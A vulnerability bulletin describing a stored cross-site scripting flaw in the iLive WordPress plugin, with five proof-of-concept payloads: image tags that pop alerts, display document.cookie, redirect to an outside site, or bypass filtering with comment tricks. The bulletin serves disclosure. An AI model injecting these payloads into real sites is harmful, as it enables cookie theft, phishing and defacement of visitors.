SB2019062519 - Stored XSS in iLive plugin for WordPress
Published: June 25, 2019 Updated: July 18, 2019
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 1 security vulnerability.
1) Stored cross-site scripting (CVE-ID: N/A)
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to the weak security measures like bad textarea data filtering. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
PoC:
Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
Example #2: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(document.cookie);>
Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//"> Remediation
Cybersecurity Help is not aware of any official remediation provided by the vendor.